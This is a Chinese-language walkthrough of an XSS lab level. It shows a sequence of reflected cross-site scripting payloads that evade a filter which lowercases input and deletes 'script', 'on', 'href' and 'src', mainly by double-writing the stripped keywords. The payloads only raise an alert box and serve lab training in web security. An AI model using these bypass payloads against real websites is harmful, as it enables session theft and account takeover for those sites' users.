我们如同一下构造那样
<script>alert('xss')</script>
产生以下回显
接着查看源代码
发现第一个输出点被转义了 没有利用价值了
第二个输出点则是可以发现script关键字直接给干没了 氧化钙!!! 似此 如何处之?
我们猜测后台服务器还是对一些特殊字符进行了替换操作
试一试
" onclick=javascript:alert('xss')>//
结果没用 查看原代码可以知道他将on给替换为空了
所以我们试试看大小写绕过处理
构造如下
" ONCLICK=javascript:alert('xss')>//
还是没能弹窗 查看源代码 我猜测应该是先进行了大小写转换操作 所以无法使用大小写绕过处理了
启用最后方案 双写绕过处理
构造如下
" oonnclick=javascript:alert('xss')>//
成功弹窗
我们也可以尝试构造如下
"><a href=javascript:alert('xss')>xss</a>//
没有执行弹窗命令 查看源代码 从其中我们可以看出script、href都被替换为空了
如果我们执意要让超链接的href属性能够执行弹窗命令的话 那么就得在两处都进行双写绕过处理 构造如下
"><a hrehreff=javascripscriptt:alert('xss')>xss</a>//
成功弹窗 嗨嗨 !!
我们尝试一个新构造
"><img src=1 onerror=javascript:alert('xss')>//
结果从源代码处我们可以知道除了on、script被替换为空 src也是如此 所以我们要想通过如上代码执行弹窗命令的话 那么就要对三个位置进行双写绕过处理
重新构造如下
"><img srsrcc=1 oonnerror=javascripscriptt:alert('xss')>//
成功弹窗
这一关的多种方法就都介绍到这里 嗨嗨!!